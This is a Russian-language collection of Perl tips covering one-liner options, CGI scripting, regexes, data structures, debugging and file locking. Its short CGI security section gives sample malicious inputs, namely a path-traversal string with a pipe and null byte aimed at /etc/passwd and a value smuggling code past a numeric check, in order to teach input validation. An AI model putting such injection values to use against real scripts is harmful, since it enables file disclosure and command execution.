    
        perl -ne 'print if /foo/' 
        perl -pe 's/foo/bar/' 
    
    Но существует ряд интересных особенностей, которые часто упускаются из виду:
    
    Опция "-l"
    
    При добавлении опции "-l" perl автоматически очищает символ перевода строки
    перед обработкой в скрипте и добавляет его при каждом выводе данных.
    
    Например, для очистки завершающих каждую строку файла пробелов можно использовать:
    
        perl -lpe 's/\s*$//'
    
    (если указать perl -pe 's/\s*$//', то будут удалены и символы перевода строки)
    
    
    Опция "-0"
    
    По умолчанию perl разбивает входящий поток на строки, обрабатывая каждую строку
    отдельно. Опция "-0" позволяет выполнить операцию над файлом целиком, без
    разбиения на строки по символу перевода строки, а с разбиением на блоки по
    нулевому символу (так как в текстовых файлах \0 не встречается можно
    использовать -0 для обработки всего файла разом).
    
    Например, для удаления из текущей директории всех файлов, имена которых
    начинаются с тильды, можно использовать:
    
       find . -name '*~' -print0 | perl -0ne unlink
    
    Опция "-i"
    
    При указании "-i" perl считывает поток данных из указанного в командной строке
    файла, а затем записывает в него же результат работы, заменяя его. В качестве
    аргумента можно указать расширение для создания резервной копии файла.
    
    Например для удаления всех комментариев в скрипте script.sh можно использовать:
    
          perl -i.bak -ne 'print unless /^#/' script.sh
    
    На случай ошибки, старая версия файла будет сохранена в script.sh.bak.
    
    
    Оператор ".."
    
    Для оперировании с диапазоном строк необходимо учитывать состояние прошлых
    вычислений, для чего можно использовать оператор "..".
    Например, для раздельной выборки всех GPG-ключей из одного файла, выводя только
    данные, идущие между указанным заголовком и футером, можно использовать:
    
       perl -ne 'print if /-----BEGIN PGP PUBLIC KEY BLOCK-----/../-----END PGP PUBLIC KEY BLOCK-----/' FILE
    
    Опция "-a"
    
    При указании опции "-a" perl автоматически разбивает каждую строку на части, по
    умолчанию используя пробел в качестве разделителя, и помещает ее элементы в
    массив @F.
    Например, для вывода 8 и 2 столбца можно использовать: 
    
       ls -l | perl -lane 'print "$F[7] $F[1]"'
    
    Опция "-F"
    
    Опция "-F" позволяет указать символ разделителя для разбиения строки при использовании опции "-a".
    Например, для разбиения не по пробелу, а по двоеточию, нужно указать:
    
       perl -F: -lane 'print $F[0]' /etc/passwd
    
    
    Оператор "\K"
    
    При указании "\K" внутри регулярного выражения, можно отбросить все ранее
    найденные совпадения, что позволяет упростить операции по замене данных без
    задействования переменных.
    
    Например, для замены поля "From:" в тексте email можно использовать:
    
       perl -lape 's/(^From:).*/$1 Nelson Elhage <nelhage\@ksplice.com>/'
    
    Который можно свести к
    
       perl -lape 's/^From:\K.*/ Nelson Elhage <nelhage\@ksplice.com>/'
    
    уточнив, что мы не хотим заменять начало строки.
    
    Хэш %ENV
    
    К любой переменной системного окружения можно получить доступ через хэш %ENV,
    что можно использовать для выполнения операций с одинарными кавычками,
    использованию которых мешают проблемы с экранированием данного символа в shell.
    
    Для задачи вывода имен пользователей, содержащих апостроф можно использовать:
    
       perl -F: -lane 'print $F[0] if $F[4] =~ /'"'"'/' /etc/passwd
    
    но считать кавычки задача неприятная, поэтому данную строку можно свести к:
    
       env re="'" perl -F: -lane 'print $F[0] if $F[4] =~ /$ENV{re}/' /etc/passwd
    
     
    Конструкции "BEGIN" и "END"
    
    Блоки BEGIN { ... } и END { ... } позволяют организовать выполнение кода до и
    после цикличной обработки строк файла.
    Например, для подсчета суммы второго столбца в CSV файле можно использовать:
    
       perl -F, -lane '$t += $F[1]; END { print $t }'
    
    Опция "-MRegexp::Common"
    
    Через указание опции "-M" можно загрузить любой дополнительный perl-модуль. В
    однострочных скриптах удобно использовать модуль Regexp::Common, содержащий
    коллекцию типовых регулярных выражений для обработки различных видов данных.
    Например, для разбора вывода команды ifconfig можно использовать готовые маски
    для определения IP-адресов:
    
       ip address list eth0 | \
          perl -MRegexp::Common -lne 'print $1 if /($RE{net}{IPv4})/'
    
     
    ----* Замена установленного вручную perl-модуля на версию из пакета (доп. ссылка 1)   [комментарии]
     
    Иногда требуется заменить ранее вручную установленный perl-модуль на его
    вариант, появившийся в составе дистрибутива (Ubuntu/Debian).
    
    Для удаления установленного вручную модуля можно использовать скрипт:
    
       #!/usr/bin/perl -w
       use ExtUtils::Packlist;
       use ExtUtils::Installed;
       $ARGV[0] or die "Usage: $0 Module::Name\n";
       my $mod = $ARGV[0];
       my $inst = ExtUtils::Installed->new();
       foreach my $item (sort($inst->files($mod))) {
         print "removing $item\n";
         unlink $item;
       }
       my $packfile = $inst->packlist($mod)->packlist_file();
       print "removing $packfile\n";
       unlink $packfile;
    
    Запускаем скрипт для удаления, например, модуля XML::SAX:
    
      # chmod u+x rm_perl_mod.pl
      # ./rm_perl_mod.pl XML::SAX
    
    Устанавливаем вариант модуля из пакетов:
    
      # apt-get install libxml-sax-expat-perl
    
     
    ----* Как в Debian/Ubuntu установить отсутствующий в репозитории Perl модуль   [комментарии]
     
    В случае отсутствия определенного Perl модуля в стандартных репозиториях Debian
    и Ubuntu, можно поставить модуль через задействования механизмов установки
    модулей CPAN, но такие модули не впишутся в пакетную инфраструктуру
    дистрибутива. Поэтому для установки нестандартных Perl модулей следует
    использовать dh-make-perl.
    
    Ставим пакет dh-make-perl:
       apt-get install dh-make-perl
    
    Устанавливаем нужный Perl модуль (в примере Module::Name) из репозитория CPAN:
    
       dh-make-perl --cpan Module::Name --install
    
    Например: 
    
       dh-make-perl --cpan HTML::CTPP2 --install
    
    Утилита dh-make-perl сама загрузит нужный модуль, соберет его, оформит deb-пакет и установит его.
    
    Если модуль не из CPAN, можно распаковать модуль и выполнить (--build -
    сформировать пакет, но не устанавливать):
    
     dh-make-perl директория_с_модулем --build
    
     
    ----* Как выделить цветом определенное слово, используя "tail -f" (доп. ссылка 1)   [комментарии]
     
    Пример, выделения слова Reject при просмотре хвоста почтового лога:
        tail -f /var/log/maillog |perl -p -e  's/Reject/\033\[46;1mReject\033[0m/gi;'
    
    Если нужно не только выделять цветом, но и подавать звуковой сигнал при появлении test@test.ru:
        tail -f /var/log/maillog |perl -p -e  's/(test\@test.ru)/\033\[46;1m$1\033[0m\007/gi;'
    
     
    ----* Кратко о безопасности в CGI скриптах на Perl   [комментарии]
     
    - Главное правило - всегда явно проверять все переменные полученные из внешних источников 
        (cgi-параметры, cookie, переменные окружения, имя файла и путь (при листинге директории по readdir));
    
    - Вырезать спецсимволы в переменных используемых в сис. функциях (open(),
    system(), ``) и обращениях к sql.
        вырезание: s/[^\w\d_\-.]//g или tr/;<>*|?`&$!#{}[]:'\/\n\r\0// для open(), system(), ``.
        не забывать про \0 (передают %00, который воспринимается как конец стоки)
        Пример: $var="../../etc/passwd|\0"; open(F, "/home/test/$var.txt")
    
    - при открытии файла на чтение в open() всегда указывать "<$file";
    
    - Осторожность при использовании переменной внутри eval() и regex (/\Q$var\E/
    иначе можно подставить ?{код}).
    
    - Нельзя проверять числовые параметры через "if ($var > 0)", так как может
    пройти $var="123;somecode";
    
     
    ----* Как ограничить время выполнения Perl блока таймаутом   [комментарии]
     
    use constant TIMEOUT => 1;
    eval {
       local $SIG{ALRM} = sub { die "timeout during sysread\n"; };
       alarm(TIMEOUT);
       $read_flag = sysread($filehandle, $c, 1);
       alarm(0);
    };
    
     
    ----* Как отключить буферизацию вывода в Perl   [обсудить]
     
    $|=1;
    
     
    ----* Как писать многострочные комментарии   [обсудить]
     
    код
    =comment
    Текст
    Комментария
    =cut
    код
    
     
    ----* Как просмотреть руководство по конкретной perl функции   [обсудить]
     
    perldoc -f имя_функции
    perldoc -q слово_в_faq
    
     
    ----* Генерация выполняемого perl файла из core   [обсудить]
     
    1.
      $ /usr/bin/perl -u myprog.pl
      $ undump myprog /usr/bin/perl core
    
    2.
      $ perl -MO=Bytecompile,-ofile sourcescript
    
    undump - http://ftp.ktug.or.kr/tex-archive/support/undump/
    
     
    ----* Как скомпилировать Perl скрипт в бинарный вид, чтобы другие не смогли увидеть исходный текст.   [обсудить]
     
    perlcc script.pl
    Подробнее, man perlcc
    Если perlcc выдаст ошибку, что невозможно найти DynaLoader.a, 
    впишите в начало компилируемого файла "use DynaLoader;".
    
    Метод 2:
      В байткод:
      perl -MO=Bytecode,-H,-o out_file.bin in_file.pl 
    
      В исполняемый файл (с промежуточной генерацией кода на Си)
      perl -MO=C,-ofoo.c foo.pl
      perl cc_harness -o foo foo.c
      или
      perl -MO=C,-v,-DcA,-l2048 bar.pl > /dev/null
      или
      perl -MO=CC,-O2,-ofoo.c foo.pl
      perl cc_harness -o foo foo.c
      или
      perl -MO=CC,-mFoo,-oFoo.c Foo.pm
      perl cc_harness -shared -c -o Foo.so Foo.c
    
    
    Также см. проект PAR http://par.perl.org/
    
     

       CGI

    ----* Какую простейшую защиту от сабмита формы поисковым или спам-роботом можно предпринять.   [комментарии]
     
    В связи с участившимися случаями появления web-роботов занимающихся сабмитом форм, рекомендую:
    if ( ($ENV{"HTTP_REFERER"} !~ /sitename\.ru/i) || 
         ($ENV{"HTTP_USER_AGENT"} !~ /(netscape|mozilla|links|lynx|opera|msie|konqueror)/i) ){
        die "Несанкционированный запрос !";
    }
    
     
    ----* В чем могут быть причины не выставления Cookie из скрипта. (доп. ссылка 1)   [обсудить]
     
    1. Ограничение на максимально возможное число кук или размер куки, у каждого
    браузера свой предел (лучше не больше 20).
    2. Ошибка в указании  (или не указание) времени жизни Cookie.
    3. В параметрах указан неправильный domain (например не текущий).
    4. Запуск .cgi скрипта не напрямую, а через SSI (из .shtml), соответственно cookie
     в заголовке воспринята не будет, выставлять нужно используя JavaScript.
    
     
    ----* Как считать список установленных cookies в хеш.   [обсудить]
     
    sub load_cookies{
            local (*cook_arr) = @_;
        foreach (split(/\;\s*/,$ENV{'HTTP_COOKIE'})){
            my ($cur_key, $cur_val) = split(/\=/);
            $cook_arr{"$cur_key"} = $cur_val;
        }
    }
    load_cookies(*cooks); print $cooks{"cook_name"};
    
     
    ----* Заметка по установке хэдеров из cgi   Автор: Yuri A. Kabaenkov  [обсудить]
     
    При установки хэдера из cgi (Location,Content-Type, etc) многие пишут
    (print "Location: http://test.com\n\n";), но данную запись(\n\n) могут
    не понять некоторые системы типа Mac и т.д.
    Правильней отправлять хэдер как:
    print "Location: http://test.com\r\n\r\n";
    Обратите внимание на (\r\n\r\n)
    
     
    ----* Как в SSI передать параметры скрипту используя метод POST   [комментарии]
     
    <!--#exec cgi="something.cgi" -->
    Для метода GET: <!--#include virtual="/cgi-bin/test.cgi?$QUERY_STRING"-->
    
     
    ----* Еще один способ отладки CGI скриптов на перле   Автор: Vovik Alyekhin  [обсудить]
     
    use CGI::Debug;
    Брать соответственно на cpan-е
    
     
    ----* Как добится показа русских букв в JavaScript (перекодировка в UTF)   [обсудить]
     
    Для показа русских букв в JavaScript блоке нужно перекодировать их в UTF:
    sub koi2utf{
        my($str)=@_;
    	$_=$str;
            s/ё/&#1105;/g;	s/Ё/&#1025;/g;	s/ю/&#1102;/g;	s/а/&#1072;/g;
    	s/б/&#1073;/g;	s/ц/&#1094;/g;	s/д/&#1076;/g;	s/е/&#1077;/g;
    	s/ф/&#1092;/g;	s/г/&#1075;/g;	s/х/&#1093;/g;	s/и/&#1080;/g;
    	s/й/&#1081;/g;	s/к/&#1082;/g;	s/л/&#1083;/g;	s/м/&#1084;/g;
    	s/н/&#1085;/g;	s/о/&#1086;/g;	s/п/&#1087;/g;	s/я/&#1103;/g;
    	s/р/&#1088;/g;	s/с/&#1089;/g;	s/т/&#1090;/g;	s/у/&#1091;/g;
    	s/ж/&#1078;/g;	s/в/&#1074;/g;	s/ь/&#1100;/g;	s/ы/&#1099;/g;
    	s/з/&#1079;/g;	s/ш/&#1096;/g;	s/э/&#1101;/g;	s/щ/&#1097;/g;
    	s/ч/&#1095;/g;	s/ъ/&#1098;/g;	s/Ю/&#1070;/g;	s/А/&#1040;/g;
    	s/Б/&#1041;/g;	s/Ц/&#1062;/g;	s/Д/&#1044;/g;	s/Е/&#1045;/g;
    	s/Ф/&#1060;/g;	s/Г/&#1043;/g;	s/Х/&#1061;/g;	s/И/&#1048;/g;
    	s/Й/&#1049;/g;	s/К/&#1050;/g;	s/Л/&#1051;/g;	s/М/&#1052;/g;
    	s/Н/&#1053;/g;	s/О/&#1054;/g;	s/П/&#1055;/g;	s/Я/&#1071;/g;
    	s/Р/&#1056;/g;	s/С/&#1057;/g;	s/Т/&#1058;/g;	s/У/&#1059;/g;
    	s/Ж/&#1046;/g;	s/В/&#1042;/g;	s/Ь/&#1068;/g;	s/Ы/&#1067;/g;
    	s/З/&#1047;/g;	s/Ш/&#1064;/g;	s/Э/&#1069;/g;	s/Щ/&#1065;/g;
    	s/Ч/&#1063;/g;	s/Ъ/&#1066;/g;
        return $_;
    }
    
     
    ----* Что использовать для отладки CGI если нет доступа к логам сервера   [обсудить]
     
    use CGI::Carp qw (fatalsToBrowser);
    
     
    ----* Как закодировать и раскодировать строку %XX в URL.   [комментарии]
     
    Закодировать:
    $toencode =~ s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg;
    Раскодировать:
    $todecode =~ s/%(..)/pack("c",hex($1))/ge;
    
     

       Regex (регулярные выражения)

    ----* Как в Perl скрипте сосчитать число совпадений в regex.   [комментарии]
     
    $numbers = () = ($src_string =~ m/\d+/g);
    
     
    ----* Как в perl regex обнаружить несколько одинаковых, подряд идущих, символов.   [обсудить]
     
    my $a="ttttest"; # Нужно определить 4 подряд идущих символа
    if ($a =~ /([a-z])\1{3}/ ){
       print "4 совпало.\n";
    }
     где, \1 - обратная ссылка на совпадение в скобках, {3} - повтор 3 раза.
    
     
    ----* Как при использовании переменной в regex запретить интерпретацию спец. символов.   [обсудить]
     
    Нужно поместить переменную между "\Q" и "\E":
      $var =~ m/\Q$mask\E/;
    Можно отдельно вызвать функцию для экранирования:
      $var = quotemeta($var);
    
     
    ----* Как в Perl вызывать функции внутри regex.   [обсудить]
     
    Пример замены первой буквы в строке с нижнего регистра на верхний:
       $a =~ s/^(\w)(.*)$/uc($1).$2/e;
    
     
    ----* Как используя Perl разбить число на триады   Автор: gr  [обсудить]
     
    $num = 100000000000000; 
    $num =~ s/(\d{1,3}(?=(?:\d\d\d)+(?!\d)))/$1,/g;
    
     
    ----* Как в Perl вырезать у строки лидирующие пробелы   [комментарии]
     
      $str =~ s/^\s*([^\s]?.*)$/$1/;
      $str =~ s/^(.*[^\s])\s*$/$1/; # два regex работают быстрее, чем один более сложный
    
     
    ----* Как закодировать и раскодировать строку %XX в URL.   [комментарии]
     
    Закодировать:
    $toencode =~ s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg;
    Раскодировать:
    $todecode =~ s/%(..)/pack("c",hex($1))/ge;
    
     

       Массивы и Хэши

    ----* Как организовать выборку ключа по условию больше или равно в BerkeleyDB   [обсудить]
     
    Задача: выбрать запись с ключем большим или равным искомому, т.е. организовать
    выборку по промежутку значений:
    
    #!/usr/bin/perl
    use strict;
    use BerkeleyDB;
    use constant DB_DEF_CACHE_SIZE => 5000000;
    my %hash;
    
    my $dbobj = tie(%hash, 'BerkeleyDB::Btree',
            -Filename    => "test.db",
            -Cachesize   => DB_DEF_CACHE_SIZE,
            -Flags       => DB_CREATE,
            -Compare     => sub { $_[0] <=> $_[1] }
            ) or die "Can't create or open DB File!\n";
    
    # Тестовые значения
    $hash{5}="0-5";
    $hash{8}="6-8";
    $hash{20}="9-20";
    $hash{80}="21-80";
    
    my ($key, $val);
    my $cursor = $dbobj->db_cursor();
    
    # Выборка.
    $key=3;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "3=$val\n";
    
    $key=25;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "25=$val\n";
    
    $key=80;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "80=$val\n";
    
    untie %hash;
    
     
    ----* Как получить бинарный дамп хеша или массива на Perl   [обсудить]
     
    use Storable;
    Запись/чтение дампа в файл.
       store (\%table, 'file');  $hashref = retrieve('file');
       lock_store (\%table, 'file');  $hashref = lock_retrieve('file');
    Запись/чтение дампа в ранее открытый файл.
       store_fd (\%table, \*FILE); $hashref = fd_retrieve(\*FILE);
    Запись/чтение дампа в скалярную переменную 
    (удобно для использования для привязки сложной структуры к ключу в DB_File или BerkeleyDB).
       $hash_dump = freeze (\%table); $hash_ref = thaw($hash_dump);
    
    Если нужно получить дамп в символьном "perl sources"-виде для использования в
    eval или print: use Data::Dumper;
    
     
    ----* Как сразу выделить память под хэш в Perl до его заполнения.   [комментарии]
     
    Определяем, что хэш будет содержать около 100 записей:
      keys( %hash ) = 100;
    
     
    ----* Обращение к DB файлам в Perl как к хэшам.   [обсудить]
     
    use DB_File;
    $db_hashinfo = new DB_File::HASHINFO;
    $db_hashinfo->{'cachesize'} =  100000;
    $dbobj = tie(%hash, "DB_File", "somefile.db", O_RDWR|O_CREAT, 0644, $db_hashinfo ))||die "Error";
    $dbobj->del($key);
    $dbobj->sync();
    untie %hash;
    Для доступа к хранилищам Berkeley DB версии 2,3 и 4 нужно использовать модуль  BerkeleyDB.
    
     
    ----* Как вывести содержимое хеша с сортировкой по ключу или данным.   [обсудить]
     
    Сортировка по ключу:
        foreach $key (sort keys %hash){ }
    Сортировка по данным сопоставленым с ключом:
        foreach $key (sort { $hash{$a} cmp $hash{$b} } keys %hash){ }
    Если сортировка осуществляется над строковыми данными используем "cmp", если
    над цифровыми - "<=>".
    Для сортировки в обратном порядке пишем "reverse sort".
    
     
    ----* Как организовать хэш элементами которого являются хэши (хэш хэшей)   [комментарии]
     
    %a=(
         "test1" => {
             "TITLE" => "incoming",
             "HEADER" => "Hi"
          },
          "test2" => {
    	"TITLE" => "outgoing"
          }
    )
    $s = $a{"test1"}{"TITLE"};
    print "$s\n"; 
    
     
    ----* Как организовать массив элементами которого являются массивы   [обсудить]
     
    @a=(["a","b","c"],["d","e"],["f"]);
    foreach $b (@a){
        foreach $c (@$b){
    	print "$c\n";
        }
    	print "====\n";
    }
    $z=$a[1][1];
    print "--$z\n";
    
     
    ----* Как узнать число элементов массива   [комментарии]
     
    @array=();
    $n = $#array; # это номер последнего индекса, число записей - scalar @array;
    Если $n = -1 - то массив пустой, если $n = 0 - в массиве 1 элемент и т.д.
    
     
    ----* Как в качестве значения в ассоциацтивном массиве использовать обычный массив.   [обсудить]
     
    %ass=( "login" => ["test", 32, 2]);
    Для доступа к элементам массива используем:
    @{$ass{"login"}}[0]; # test
    @{$ass{"login"}}[1]; # 32
    @{$ass{"login"}}[2]; # 2
    
     
    ----* Как в Perl получить элемента массива имя которого находится в переменной   [обсудить]
     
    Реальный массив:
    	%form_test = ('a' => 1);
    Переменаня
    	$name="test";
    Генерируем ссылку на массив:
    	$tmp = eval "\\\%form_$name"; 
    Вычилсяем хначение элемента массива:
    	$key_val = $$tmp{"a"};
    
     

       Отладка программ на Perl

    ----* Как отследить время выполнения различных участков Perl программы ?   [обсудить]
     
    perldoc Devel::DProf
    Запускаем программу как perl -d:DProf prog.pl
    Затем смотрим в сгенерированный файл tmon.out, или используем специальную
    программу для его разбора, например dprofpp -T
    
     
    ----* Как протестировать производительность (скорость выполнения) perl скрипта.   [обсудить]
     
    use Benchmark;
      $string = "The bitter end.\n";
      $code{"chomp"} = 'chomp $string';
      $code{"regex"} = '$string =~ s/\n$//';
    timethese(10_000_000, \%code);
    или timethese($count, {
                'test1' => sub { foreach $cur_val (@arr){....}},
                'test2' => sub { ....много кода... },
         });
    
     

       Переменные в Perl

    ----* Автоматизация объявления переменных в Perl при использовании strict (доп. ссылка 1)   Автор: Sokolov Alexey  [комментарии]
     
    Мне требовалось переписать мой же проект, написанный на Perl, с использованием "use strict". 
    Было лень объявлять все переменные вручную, т.к. их было чертовски много,
    посему я решил сей процесс
    автоматизировать. Это конечно не совсем правильно, однако я всё равно весь
    результат потом тщательно проанализировал.
     
    Итак, предлагаю вашему вниманию мой метод автоматизации:
    
    1. Включаем в скрипте режим strict:
    
       use strict;
    
    2. Запускаем наш скрипт и фильтруем вывод ошибок на наличие "Global symbol",
    записывая в отдельный файл (например, var.txt):
    
       perl -c script.pl 2>&1 | grep "Global symbol" > var.txt
    
    3. Отсортируем дубликаты, оставив только первое вхождение переменной:
       
       cat var.txt| sort -k 3| uniq -w 60| sort -nk 11| less
    
    4. Получившийся вариант анализируем мозгами и вставляем в код скрипта необходимые операторы "my".
    Проверяем каждую переменную на необходимость дополнительного переопределения в
    локальных блоках и функциях.
    
    Настоятельная рекомендация: пишите скрипты на Perl сразу с использованием strict и warnings.
    
     
    ----* Пример использования Tie для ассоциирования функции с хешем.   Автор: lw  [обсудить]
     
       use Tie::Sub;
       tie my %sub, 'Tie::Sub', sub{sprintf '%04d', shift};
       print "See $sub{4} digits.";
    
     
    ----* Как узнать тип ссылочной переменной в Perl   [комментарии]
     
    Иногда нужно узнать на массив, хэш или скаляр указывает ссылка.
    ref возвращает строковый идентификатор типа ссылки (SCALAR, ARRAY, HASH, CODE, REF, GLOB, LVALUE) 
    или пустое значение для обычных переменных. Например:
    
       if (ref($r) eq "HASH") {
             print "Хэш\n";
       } elsif (ref($r) eq "ARRAY"){
             print "Массив\n";
       }
    
     
    ----* Манипулирование файловыми хэндлерами в Perl (доп. ссылка 1)   [обсудить]
     
    Пример хранение дескрипторов в хэше:
       my %user_fd = ();
       if (! defined $user_fd{$cur_login}){ 
          open($user_fd{$cur_login}, ">$cur_file") or return -1;
       }
       print {$user_fd{$cur_login}} "TEST\n";
       close($user_fd{$cur_login});
    
    Пример передачи дескриптора из функции:
    
       # Для perl 5.6 и старше
       open (my $fh, $file_name);
       print $fh "Hello World!\n";
       process_file( $fh );
    
       open (FILE, "> $filename)";
       process_typeglob( *FILE );
       process_reference( \*FILE );
    
       sub process_typeglob { local *FH = shift; print FH "Typeglob!" }
       sub process_reference { local $fh = shift; print $fh "Reference!" }
    
    
        my $fh = myopen("file_path");
        while (<$fh>) {
        ....
        }
        close $fh;
    
       sub myopen {
          my $path = shift;
          local *FH; 
          open (FH, $path) || return undef;
          return *FH;
       }
    
     
    ----* Как в Perl оптимально заменить символы в строке или разбить строку на части   [комментарии]
     
    При работе с большими строками нужно избегать внутреннего копирования строк, 
    которое происходит при использоании регулярных выражений или оператора split.
    
    Для разбиеная строки вида "small_begin:big_end" на две подстроки используем:
       my $pos=index($str, ':');
       my $begin_str = substr($str, 0, $pos,""); 
       # в $str остается только big_end часть, в $begin_str - "small_begin:"
    
    Соответсвенно, для замены символов удобно использовать:
        substr(строка, начало замены, число заменяемых символов, блок на который заменяем);
    
     
    ----* Как вывести шестнадцатеричный код символа на Perl   [обсудить]
     
    $ch="M";
    print sprintf("%2x", ord($ch));
    
     
    ----* Как написать обработчик сигнала на Perl   [обсудить]
     
    sub pipe_sig{
        return 0;
    };
    $SIG{'PIPE'} = \&pipe_sig;
    
     
    ----* Как определить число в переменной или строка   [обсудить]
     
    if (( ~$scalar & $scalar ) eq '0' ){ число }
    
     
    ----* Как определить константу в Perl   [комментарии]
     
    use constant TEST => 1;
    $a=TEST;
    
     

       Полезные подпрограммы на Perl

    ----* Perl функция для quoted-printable кодирования в соответствии с RFC2047 (доп. ссылка 1)   Автор: dev  [комментарии]
     
    Популярный Perl модуль MIME::Words  не обеспечивает quoted-printable кодирование 
    в полном соотвтетвии с  RFC2047 (пробелы между двумя закодированными блоками недопустимы).
    
    # rfc2047conv (строка, кодировка, размер префикса);
    sub rfc2047conv{
        my $str      = shift;       # чего кодировать
        my $charset  = uc(shift);   # какую кодировку приписать
        my $init_len = shift || 0;  # длина того, что планируется добавить потом в начало строки
    
        my $len = length($str);
    
        return '' unless($len);
    
        my $begin = "=?$charset?Q?";
        my $res   = $begin;
        my $count = $init_len + length($begin);
        foreach my $c (split(//, $str)) {
            my ($repl, $repl_len);
            if($c eq '?' || $c eq '_' || $c eq '=' || $c lt ' ' || $c gt '~') {
                $repl     = sprintf("=%X", ord($c));
                $repl_len = 3;
            } elsif($c eq ' ') {
                $repl     = '_';
                $repl_len = 1;
            } else {
                $repl     = $c;
               $repl_len = 1;
            }
            if($count + $repl_len > 72) {
                $res  .= "?=\r\n " . $begin;
                $count = 1 + length($begin);
            }
            $res   .= $repl;
            $count += $repl_len;
        }
        $res .= '?=';
        return $res;
    }
    printf("[%s]\n", rfc2047conv("проверка ", 'KOI8-R', length('Subject: ')));
    
     
    ----* Обработка иерархически связанной структуры на Perl на perl.   Автор: Andrey Karavaev  [комментарии]
     
    Как-то пришлось столкнуться с обработкой иерархически связанной структуры на perl. 
    В инете есть куча разрозненной информации по этому поводу.
    Можно, например, воспользоваться пакетами с сайта CPAN. Но с одной
    стороны 
    стрелять из пушки по воробьям ... не дело.. а с другой надо чтобы и в мозгах что-то осталось. 
    Вообщем, задачка решилась и заодно родился вот такой скриптик, не претендующий 
    на уникальность, тем более, что на perl (как и на других мощных языках) одну и ту же задачу 
    можно решить многими способами. Хотя, эффективность этих способов - это уже другой вопрос.
    
    Итак, скрипт.
    
    #!/usr/bin/perl
    # Рассмотрим принцип работы рекурсивных функций и построения
    # связанных структур (в данном случае анонимных хэшей) на
    # примере скрипта для иерархического (в виде дерева)
    # отображения подкаталогов, содержашихся в заданном каталоге.
    #
    # Сначала необходимо провернуть некоторые подготовительные
    # операции. Например, определиться какой каталог будем печатать.
    print "Directory to print [.]: ";
    # Считываем каталог и удаляем символ конца строки.
    chop (my $d = <>);
    # По умолчанию берем текущий каталог.
    if (!$d) {$d="."};
    # Проверяем, является ли $d каталогом...?
    (-d $d) or die "Error: $d isn\'t directory.\n";
    
    # Теперь создаем дерево вложенных хэшей с помощью
    # функции MakeTree, которая возвращает указатель 
    # на корневой хэш.
    my $root = MakeTree($d);
    # И печатаем. Первый параметр - уровень вложенности
    # текущего каталога - $d.
    PrintTree(0,$root);
    
    # Рассмотрим подробнее рекурсивные функции MakeTree и PrintTree
    sub MakeTree {
    # Берем первый параметр - каталог для обработки
    	my $path_to_dir = shift;
    	# Инициализируем хэш, в котором будем сохранять
    # результат обработки каталога $path_to_dir.
    	my %branches;
    # Читаем содержимое каталога в массив @content.
    # Причем выбрасываем из рассмотрения каталоги
    # "." (текущий), ".." (уровнем выше) и файлы.
    	opendir DIR, $path_to_dir;
    	my @content = grep { !/^\.{1,2}$/ 
    		&& !(-f $path_to_dir."/".$_) } readdir DIR;
    	closedir DIR;
    # В итоге в @content содержится список каталогов,
    # находящихся в $path_to_dir. Теперь для каждого
    	foreach my $dir (@content) {
    # каталога из этого списка рекурсивно запускаем
    # эту же функцию - MakeTree, в аргументе которой
    # уже новый путь - путь к каталогу $dir.
    		$branches{$dir} = MakeTree($path_to_dir."/".$dir);
    # В результате в хэш %branches по ключу $dir заносится
    # значение, возвращаемое функцией MakeTree. А это значение
    	}
    # ничто иное, как указатель на хэш, поскольку функция
    # MakeTree возврашает указатель на хэш %branches, как мы
    # видим ниже. Ключи этого хэша - каталоги, содержащиеся
    # в $dir, а значения по этим ключам - опять же указатели на 
    #хэши...и т.д.
    	return \%branches;
    # Но ведь %branches обьявлен с ключевым словом my и ограничен
    # областью видимости функции (в данном случае)?!..Это означает,
    # что сборщик мусора perl должен уничтожить %branches при 
    # выходе из функции. Оказывается, нет. Дело в том, что пока для
    # переменной (в данном случае - хэш), объявленной с оператором
    # my внутри блока { } существует указатель вне этого блока, то
    # perl не уничтожает переменную, и мы приходим к понятию 
    # анонимная переменная (хэш). Т.е. мы обращаемся к переменной
    # не $имя_переменной, а через указатель.
    }
    # Таким образом, в результате создаются ссылающиеся друг
    # на друга анонимные хэши, которые существуют до тех пор,
    # пока существует указатель $root.
    
    # Печатаем результат.
    sub PrintTree {
    # Первый параметр - уровень вложенности каталога.
    	my $level = shift;
    # Второй - хэш, содержащий имена каталогов, через указатель.
    	my %top = %{(shift)};
    # Далее для каждого ключа из хэша %top
    	foreach $key (keys %top) {
    # печатаем сам ключ (на самом деле ключ - имя каталога),
    # причем с отступом 4*$level.
    		printf ("%${\(4*$level)}s$key\n","|");
    # Необходимо заметить, что в %top по ключу $key содержится
    # хэш с именами каталогов, которые тоже было бы неплохо
    # распечатать. Поэтому увеличиваем уровень вложенности
    		$level++;
    # и опять вызываем PrintTree.
    		PrintTree($level,$top{$key});
    # После чего надо вернуть уровень вложенности на место.
    		$level--;
    	}
    }
    
     
    ----* Как создать лок файл на Perl   [комментарии]
     
    Для защиты от одновременного запуска нескольких процессов, можно сделать так:
    
    use Fcntl qw(:flock :DEFAULT);
    my $cfg_glob_lock="/var/run/myprog/test.pid";
    
    # Проверяем лок.
    if (-f $cfg_glob_lock){
          # Лок присутствует. Проверяем не дохлый ли процесс.
          my $lock_pid = 0;
          open(LOCK,"<$cfg_glob_lock");
          # Если удалось заблокировать, значит процесс мертв.
          my $zombie_lock_flag = flock(LOCK,  LOCK_EX|LOCK_NB);
          $lock_pid = <LOCK>;
          close (LOCK);
          chomp ($lock_pid);
          if ($lock_pid > 0 && $zombie_lock_flag == 0){
              # Реакция на зависший процесс.                                        
              die "Proccess locked (pid=$lock_pid)";
          } else {
              # Лок от мертвого процесса.
              unlink("$cfg_glob_lock");
              warn("DeadLock detected ($lock_pid)");
          }
    }    
    # Записываем pid в новый лок файл.
    sysopen(LOCK, $cfg_glob_lock, O_CREAT|O_EXCL|O_WRONLY) or die 'Race condition';
    
    print LOCK "$$\n";
    close(LOCK);
    # Открываем лок.
    open(GLOB_LOCK,"<$cfg_glob_lock");
    flock(GLOB_LOCK,  LOCK_EX);
    
    .... рабочий код скрипта
    
    # Закрываем и удаляем лок
    flock(GLOB_LOCK, LOCK_UN);
    close(GLOB_LOCK);
    unlink("$cfg_glob_lock");
    
     
    ----* Преобразование текста из UTF-8 в KOI8-R и обратно на языке Perl   [комментарии]
     
    Преобразование из UTF-8 в KOI8-R:
    
       use Unicode::Map8;
       use Unicode::String qw(utf8);
